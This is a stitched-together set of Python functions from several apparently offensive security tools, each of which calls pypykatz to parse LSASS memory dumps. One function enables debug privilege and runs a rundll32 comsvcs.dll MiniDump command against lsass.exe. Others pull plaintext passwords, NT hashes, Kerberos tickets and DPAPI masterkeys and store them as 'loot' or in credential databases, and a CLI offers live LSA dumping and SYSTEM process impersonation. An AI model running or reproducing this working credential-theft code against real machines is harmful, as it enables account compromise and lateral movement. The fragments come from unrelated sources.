def run(self, args): files_with_error = [] results = {} ###### Rekall if args.cmd == 'rekall': if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override, packages=args.packages) results['rekall'] = mimi ###### Minidump elif args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logger.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logger.info('Parsing file %s' % filename) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file( filename, packages=args.packages) results[filename] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: files_with_error.append(filename) logger.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logger.info('Parsing file %s' % args.memoryfile) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages) results[args.memoryfile] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: logger.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)
def get_by_procdump(self): try: mimi = pypykatz.parse_minidump_file(self.file_dump) except: return {} return self._extract_from_dump(mimi, 'procdump')
def process(self, context, output): if self._new_dmp_file == True: self._new_dmp_file = False self.gzip_file = f"./data/logs/{context.session.guid}/minidump_{datetime.now().strftime('%Y_%m_%d_%H%M%S')}.gz" self.decompressed_file = f"./data/logs/{context.session.guid}/minidump_{datetime.now().strftime('%Y_%m_%d_%H%M%S')}.bin" try: file_chunk = output['data'] with open(self.gzip_file, 'ab+') as reassembled_gzip_file: reassembled_gzip_file.write(b64decode(file_chunk)) if output['current_chunk_n'] == (output['chunk_n'] + 1): try: with open(self.decompressed_file, 'wb') as reassembled_file: with gzip.open(self.gzip_file) as compressed_mem_dump: reassembled_file.write(compressed_mem_dump.read()) except Exception as e: logging.error( f"Error decompressing re-assembled memory dump: {e}") results = pypykatz.parse_minidump_file(self.decompressed_file) self._new_dmp_file = True return json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True) else: return f"Processed chunk {output['current_chunk_n']}/{output['chunk_n'] + 1}" except TypeError: return output
def run(self, args): files_with_error = [] results = {} ###### Rekall if args.cmd == 'rekall': mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) results['rekall'] = mimi ###### Minidump elif args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.memoryfile) try: mimi = pypykatz.parse_minidump_file(args.memoryfile) results[args.memoryfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)
def parsedump(self, loggers, smb_con, dumpfile): # Modified from: # https://github.com/awsmhacks/CrackMapExtreme/blob/a3a0ca13014b88dd2feb6db2ac522e2573321d6c/cmx/protocols/smb.py # & Inspiration by @HackAndDo aka Pixis for these parse bits arg = Namespace(outfile=False, json=False, grep=False, kerberos_dir=False, recursive=False, directory=False) out = pypykatz.parse_minidump_file(dumpfile) f = io.StringIO() with redirect_stdout(f): # Hides output LSACMDHelper().process_results({"dumpfile": out}, [], arg) logger = loggers['console'] db_updates = 0 for cred in self.parse_output(f.getvalue()): if cred['Password']: smb_con.db.update_user(cred['Username'], cred['Password'], cred['Domain'], '') logger.success([ smb_con.host, smb_con.ip, self.name.upper(), "{}\\{}:{}".format(cred['Domain'], cred['Username'], cred['Password']) ]) db_updates += 1 elif cred['Hash']: smb_con.db.update_user(cred['Username'], '', cred['Domain'], cred['Hash']) logger.success([ smb_con.host, smb_con.ip, self.name.upper(), "{}\\{}:{}".format(cred['Domain'], cred['Username'], cred['Hash']) ]) db_updates += 1 logger.info([ smb_con.host, smb_con.ip, self.name.upper(), "{} credentials updated in database".format(db_updates) ]) logger.info([ smb_con.host, smb_con.ip, self.name.upper(), "Dmp file saved to: {}".format(self.local_output) ])
def save_loot(file, loot_id, encrypted=False): """Process the loot file""" filename = save_file(file, dir=LOOT_DIR, encrypted=encrypted) loot_type = get_loot_type(filename) log.debug("Saving %s [%s]" % (filename, loot_type)) if loot_type == "DMP": from pypykatz.pypykatz import pypykatz mimi = pypykatz.parse_minidump_file(filename) creds = [json.loads(v.to_json()) for _, v in mimi.logon_sessions.items()] store_minidump(loot_id, json.dumps(creds), filename) elif loot_type == "SYSINFO": add_sysinfo(loot_id, filename) else: # registry hive add_hive(loot_id, loot_type, filename)
def get_masterkeys_from_lsass_dump(self, file_path): """ Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys file_path: path to the mindiump file return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.parse_minidump_file(file_path) for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) return self.masterkeys
def save_loot(file, loot_id, encrypted=False): """Process the loot file""" filename = save_file(file, dir=LOOT_DIR, encrypted=encrypted) loot_type = get_loot_type(filename) try: if loot_type == "DMP": from pypykatz.pypykatz import pypykatz mimi = pypykatz.parse_minidump_file(filename) creds = [ json.loads(v.to_json()) for _, v in mimi.logon_sessions.items() ] store_minidump(loot_id, json.dumps(creds), filename) elif loot_type == "SYSINFO": add_sysinfo(loot_id, filename) else: # registry hive add_hive(loot_id, loot_type, filename) except ImportError as e: log.error("You have unmet dependencies, loot could not be processed") log.exception(e)
def get_masterkeys_from_lsass_dump(self, file_path): """ Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys file_path: path to the mindiump file return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.parse_minidump_file(file_path) for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug( '[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) for package, _, _, nthex, lmhex, shahex, _, _, _, plaintext in katz.logon_sessions[ x].to_grep_rows(): if package.lower() == 'dpapi': continue sids = [katz.logon_sessions[x].sid] for sid in sids: if plaintext is not None: self.get_prekeys_from_password(sid, password=plaintext, nt_hash=None) if nthex is not None and len(nthex) == 32: self.get_prekeys_from_password(sid, password=None, nt_hash=nthex) if shahex is not None and len(shahex) == 40: self.prekeys[bytes.fromhex(shahex)] = 1 return self.masterkeys
def from_lsass_dump(filename, ad_id=-1): mimi = pypykatz.parse_minidump_file(filename) return Credential.lsass_generator(mimi, ad_id=ad_id)
ckeys = [] [[ckeys.append(k) for k in row if k not in ckeys] for row in cred_dict] separators = collections.OrderedDict([(k, "-" * len(k)) for k in ckeys]) cred_dict = [separators] + cred_dict parsed_data += banner parsed_data += tabulate(cred_dict, headers="keys", tablefmt="plain") parsed_data += "\n\n" data = parsed_data return data except Exception as e: data += "\n\n\n" data += traceback.format_exc() return data if len(sys.argv) != 2: print("Usage: ./parse_mimikatz LSASS.DMP") sys.exit() mimi = pypykatz.parse_minidump_file(sys.argv[1]) json_results = json.loads(json.dumps([mimi], cls=UniversalEncoder))[0] print(parse_pypykatz(json_results))
def report(self, handler, data, sanitize=False): task = handler.get_header("Task", False) if task == 'pid': handler.reply(200) self.print_status("Detected lsass.exe process ID: " + data.decode() + "...") return if task == 'nopid': handler.reply(200) self.print_status( "Could not identify lsass.exe process ID. Please provide manually..." ) return if task == 'startrun': handler.reply(200) self.print_status("Creating a MiniDump with comsvcs.dll...") return if task == 'endrun': handler.reply(200) self.print_status("Finished creating MiniDump...") return if task == 'upload': handler.reply(200) self.print_status("Downloading lsass bin file...") return if task == 'delbin': handler.reply(200) self.print_status("Removing lsass bin file from target...") super(ComsvcsLSASSJob, self).report(handler, data, False) if task == 'dump': self.save_fname = self.options.get( "LPATH") + "/lsass." + self.ip + "." + uuid.uuid4().hex self.save_fname = self.save_fname.replace("//", "/") i = 0 step = int(self.options.get("CHUNKSIZE")) partfiles = [] datalen = len(data) while i < datalen: with open(self.save_fname + str(i), "wb") as f: partfiles.append(self.save_fname + str(i)) end = i + step if end > datalen: end = datalen while True: try: pdata = self.decode_downloaded_data( data[i:end], handler.get_header("encoder", "1252")) except: end -= 1 continue break try: # if the data is just a text file, we want to decode correctly and then re-encode pdata = pdata.decode( 'cp' + handler.get_header("encoder", "1252")).encode() except: pass f.write(pdata) i = end with open(self.save_fname, "wb+") as f: for p in partfiles: f.write(open(p, "rb").read()) os.remove(p) self.save_len = len(data) if self.options.get("CERTUTIL") == "true": with open(self.save_fname, "rb") as f: data = f.read() data = self.decode_downloaded_data(data, "936") with open(self.save_fname, "wb") as f: f.write(data) self.print_status("Download complete, parsing with pypykatz...") from pypykatz.pypykatz import pypykatz from pypykatz.commons.common import UniversalEncoder r = [] mimi = pypykatz.parse_minidump_file(self.save_fname) r.append(mimi) import json json_results = json.loads(json.dumps(r, cls=UniversalEncoder))[0] cp = core.cred_parser.CredParse(self) self.katz_output = cp.parse_pypykatz(json_results) handler.reply(200)
def run(self, profile): if profile.get('lsa_secrets'): return profile['lsa_secrets'] try: hToken = win32security.OpenThreadToken( win32api.GetCurrentThread(), win32security.TOKEN_ALL_ACCESS, True) except win32security.error: hToken = win32security.OpenProcessToken( win32api.GetCurrentProcess(), win32security.TOKEN_ALL_ACCESS) prev_state = () new_state = [ (win32security.LookupPrivilegeValue(None, win32security.SE_DEBUG_NAME), win32security.SE_PRIVILEGE_ENABLED) ] prev_state = win32security.AdjustTokenPrivileges( hToken, False, new_state) lsass_file = tempfile.mktemp('.dmp', dir=os.getenv('SystemDrive', 'C:') + '\\') try: lsass_pid = 0 for me in psutil.process_iter(): try: if me.exe().lower() == r'c:\windows\system32\lsass.exe': lsass_pid = me.pid except: pass if lsass_pid: try: with disable_fsr(): subprocess.Popen([ 'rundll32.exe', r'C:\Windows\System32\comsvcs.dll,', 'MiniDump', str(lsass_pid), lsass_file, 'full' ], stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True).communicate() except: lsass_pid = 0 if not lsass_pid: lsass_file = 'C:\\lsassproc.dmp' assert os.path.isfile(lsass_file) finally: if prev_state: win32security.AdjustTokenPrivileges(hToken, False, prev_state) results = {} try: results = pypykatz.parse_minidump_file(lsass_file) results.reader.reader.file_handle.close() results = results.to_dict() os.remove(lsass_file) except Exception as e: pass return results
def parseDumps(dumpFolder): logging.warning("%sParsing every minidump of %smisc/dumps%s..." % (warningGre, green, white)) credentials = [] results = {} dico = {} globdata = os.path.join(dumpDir, '*.dmp') for filename in glob.glob(globdata): try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi logging.info("%s%s: %sdone%s." % (infoYellow, filename, green, white)) except Exception as e: logging.info("%s%s: %sfailed%s. (Please see -w switch)" % (infoYellow, filename, red, white)) for result in results: for luid in results[result].logon_sessions: try: dico = results[result].logon_sessions[luid].to_dict() for cred in results[result].logon_sessions[luid].msv_creds: if '$' not in cred.username: credentials.append( (cred.domainname, cred.username, 'NA', (cred.LMHash.hex() if cred.LMHash else 'NA'), (cred.NThash.hex() if cred.NThash else 'NA'))) for cred in results[result].logon_sessions[luid].wdigest_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) ''' Little bug with this one ? for cred in results[result].logon_sessions[luid].ssp_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) ''' for cred in results[result].logon_sessions[luid].livessp_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in results[result].logon_sessions[ luid].kerberos_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domainname, cred.username, cred.password, 'NA', 'NA')) for cred in results[result].logon_sessions[luid].credman_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.username: credentials.append((cred.domain, cred.username, cred.password, 'NA', 'NA')) for cred in results[result].logon_sessions[luid].tspkg_creds: if cred.password and "TBAL" not in cred.password and '$' not in cred.domainname: credentials.append((cred.username, cred.domainname, cred.password, 'NA', 'NA')) except Exception as e: logging.warning( "%sA problem occurs with target when accessing value (pypykatz). Err: %s" % (warningRed, e)) credentials = list(skip_duplicates(credentials)) logging.warning("%sFollowing %scredentials%s were retrieved:" % (warningGre, green, white)) if not credentials: logging.warning("%s No credentials found." % (warningRed)) return None else: return credentials
def main(): import argparse import glob parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --or at least some parts of it--') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') parser.add_argument('-e','--halt-on-error', action='store_true',help = 'Stops parsing when a file cannot be parsed') parser.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') parser.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help = 'commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser('minidump', help='List all tickets in the file') minidump_group.add_argument('minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='List all tickets in the file') live_subparsers = live_group.add_subparsers(help = 'module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser('lsa', help='List all tickets in the file') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print('Exception while dumping LSA credentials from memory.') traceback.print_exc() pass ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
def main(): import argparse import glob parser = argparse.ArgumentParser( description= 'Pure Python implementation of Mimikatz --or at least some parts of it--' ) parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('--json', action='store_true', help='Print credentials in JSON format') parser.add_argument('-e', '--halt-on-error', action='store_true', help='Stops parsing when a file cannot be parsed') parser.add_argument( '-o', '--outfile', help= 'Save results to file (you can specify --json for json file, or text format will be written)' ) parser.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') subparsers = parser.add_subparsers(help='commands') subparsers.required = True subparsers.dest = 'command' minidump_group = subparsers.add_parser( 'minidump', help='Get secrets from LSASS minidump file') minidump_group.add_argument( 'minidumpfile', help='path to the minidump file or a folder (if -r is set)') minidump_group.add_argument('-r', '--recursive', action='store_true', help='Recursive parsing') minidump_group.add_argument('-d', '--directory', action='store_true', help='Parse all dump files in a folder') live_group = subparsers.add_parser('live', help='Get secrets from live machine') live_subparsers = live_group.add_subparsers(help='module') live_subparsers.required = True live_subparsers.dest = 'module' live_subparser_lsa_group = live_subparsers.add_parser( 'lsa', help='Get all secrets from LSASS') live_subparser_registry_group = live_subparsers.add_parser( 'registry', help='Get all secrets from registry') live_subparser_process_group = live_subparsers.add_parser( 'process', help='Process creating/manipulation commands') live_subparser_process_group.add_argument('cmd', choices=['create']) live_subparser_process_group.add_argument( '-i', '--interactive', action='store_true', help='Spawns a new interactive process') live_subparser_process_group.add_argument( '--sid', help='Impersonate given SID in new process') live_subparser_process_group.add_argument( '-c', '--cmdline', help='The process to execute. Default: cmd.exe') live_subparser_token_group = live_subparsers.add_parser( 'token', help='Token creating/manipulation commands') live_subparser_token_group.add_argument('cmd', choices=['list', 'current']) live_subparser_token_group.add_argument( '-f', '--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege') live_subparser_users_group = live_subparsers.add_parser( 'users', help='User creating/manipulation commands') live_subparser_users_group.add_argument('cmd', choices=['list', 'whoami']) live_subparser_dpapi_group = live_subparsers.add_parser( 'dpapi', help='DPAPI (live) related commands') live_subparser_dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help='Getting prekeys from LIVE registry') live_subparser_dpapi_group.add_argument('--vpol', help='VPOL file') live_subparser_dpapi_group.add_argument('--vcred', help='VCRED file') live_subparser_dpapi_group.add_argument('--cred', help='credential file') live_subparser_dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group = subparsers.add_parser( 'dpapi', help='DPAPI (offline) related commands') dpapi_group.add_argument('cmd', choices=['masterkey', 'credential', 'vault']) dpapi_group.add_argument( '-r', '--method_registry', action='store_true', help= 'Getting prekeys from registry hive files. Using this you will need to also supply system, security and optionally sam switches' ) dpapi_group.add_argument('--system', help='Path to SYSTEM hive file') dpapi_group.add_argument('--sam', help='Path to SAM hive file') dpapi_group.add_argument('--security', help='Path to SECURITY hive file') dpapi_group.add_argument('--vcred', help='VCRED file') dpapi_group.add_argument('--cred', help='credential file') dpapi_group.add_argument('--mkf', help='masterkey file') dpapi_group.add_argument( '--key', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--sid', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) dpapi_group.add_argument( '--password', help= 'Key used for decryption. The usage of this key depends on what other params you supply.' ) rekall_group = subparsers.add_parser('rekall', help='Get secrets from memory dump') rekall_group.add_argument('memoryfile', help='path to the memory dump file') rekall_group.add_argument( '-t', '--timestamp_override', type=int, help='enforces msv timestamp override (0=normal, 1=anti_mimikatz)') registry_group = subparsers.add_parser( 'registry', help='Get secrets from registry files') registry_group.add_argument('system', help='path to the SYSTEM registry hive') registry_group.add_argument('--sam', help='path to the SAM registry hive') registry_group.add_argument('--security', help='path to the SECURITY registry hive') ####### PARSING ARGUMENTS args = parser.parse_args() ###### VERBOSITY if args.verbose == 0: logging.basicConfig(level=logging.INFO) elif args.verbose == 1: logging.basicConfig(level=logging.DEBUG) else: level = 5 - args.verbose logging.basicConfig(level=level) ##### Common obj results = {} files_with_error = [] ###### Live if args.command == 'live': if args.module == 'lsa': filename = 'live' try: mimi = pypykatz.go_live() results['live'] = mimi except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print( 'Exception while dumping LSA credentials from memory.') traceback.print_exc() pass elif args.module == 'registry': from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logging.debug( 'Failed to obtain registry secrets via direct registry reading method' ) try: lr = OffineRegistry.from_live_system() except Exception as e: logging.debug( 'Failed to obtain registry secrets via filedump method' ) if lr is not None: if args.outfile: lr.to_file(args.outfile, args.json) else: print(str(lr)) else: print('Registry parsing failed!') elif args.module == 'process': if args.cmd == 'create': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator pm = ProcessManipulator() sid = 'S-1-5-18' if args.sid is not None: sid = args.sid if args.cmdline is not None: cmdline = args.cmdline else: #looking for the correct path... cmdline = os.environ['ComSpec'] pm.create_process_for_sid(target_sid=sid, cmdline=cmdline, interactive=args.interactive) return elif args.module == 'token': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator if args.cmd == 'list': pm = ProcessManipulator() for ti in pm.list_all_tokens(args.force): print(str(ti)) return if args.cmd == 'current': pm = ProcessManipulator() token_info = pm.get_current_token_info() print(str(token_info)) return elif args.module == 'users': from pypykatz.commons.winapi.machine import LiveMachine if args.cmd == 'list': lm = LiveMachine() users = lm.list_users() for sid in users: print(str(users[sid])) elif args.cmd == 'whoami': lm = LiveMachine() user = lm.get_current_user() print(str(user)) elif args.module == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI() #####pre-key section if args.method_registry == True: dpapi.get_prekeys_form_registry_live() if not args.mkf: raise Exception( 'Live registry method requires masterkeyfile to be set!' ) dpapi.decrypt_masterkey_file(args.mkf) else: dpapi.get_masterkeys_from_lsass_live() #decryption stuff if args.vcred: if args.vpol is None: raise Exception( 'for VCRED decryption you must suppliy VPOL file') dpapi.decrypt_vpol_file(args.vpol) res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.vpol: key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.cred: cred_blob = dpapi.decrypt_credential_file(args.cred) print(cred_blob.to_text()) else: #just printing masterkeys for guid in dpapi.masterkeys: print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt masterkey') ###### DPAPI offline elif args.command == 'dpapi': from pypykatz.dpapi.dpapi import DPAPI if args.key is not None: key = bytes.fromhex(args.key) dpapi = DPAPI() if args.cmd == 'masterkey': if args.mkf is None: raise Exception('You need to provide a masterkey file.') if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf) elif args.key is not None: dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf) else: raise Exception( 'For masterkey decryption you must provide either registry hives OR key data OR SID and password' ) for guid in dpapi.masterkeys: print('GUID %s MASTERKEY %s' % (guid, dpapi.masterkeys[guid].hex())) if len(dpapi.masterkeys) == 0: print('Failed to decrypt the masterkeyfile!') elif args.cmd == 'credential': if args.key is not None: cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) cred_blob = dpapi.decrypt_credential_file(args.cred, key) print(cred_blob.to_text()) elif args.cmd == 'vault': if args.vpol is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) else: if args.method_registry == True: if args.system is None or args.security is None: raise Exception( 'For offline registry parsing you will need to provide SYSTEM and SECURITY hives!' ) dpapi.get_prekeys_form_registry_files( args.system, args.security, args.sam) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.sid is not None: pw = args.password if args.password is None: import getpass pw = getpass.getpass() dpapi.get_prekeys_from_password(args.sid, pw) dpapi.decrypt_masterkey_file(args.mkf, key) elif args.minidump is not None: dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) key1, key2 = dpapi.decrypt_vpol_file(args.vpol) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vcred is not None: res = dpapi.decrypt_vcrd_file(args.vcred) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) if args.vcred is not None: if args.key is not None: key1, key2 = dpapi.decrypt_vpol_file(args.vpol, key) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) if args.vpol is None: raise Exception( 'VCRED decryption requires a key OR a VPOL file') ###### Rekall elif args.command == 'rekall': mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override) results['rekall'] = mimi ###### Minidump elif args.command == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.minidumpfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: mimi = pypykatz.parse_minidump_file(filename) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.minidumpfile) try: mimi = pypykatz.parse_minidump_file(args.minidumpfile) results[args.minidumpfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.minidumpfile) if args.halt_on_error == True: raise e else: traceback.print_exc() ###### Registry elif args.command == 'registry': po = OffineRegistry.from_files(args.system, args.sam, args.security) if args.outfile: po.to_file(args.outfile, args.json) else: print(str(po)) if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n' + str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print( json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % ( base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file( os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[ luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
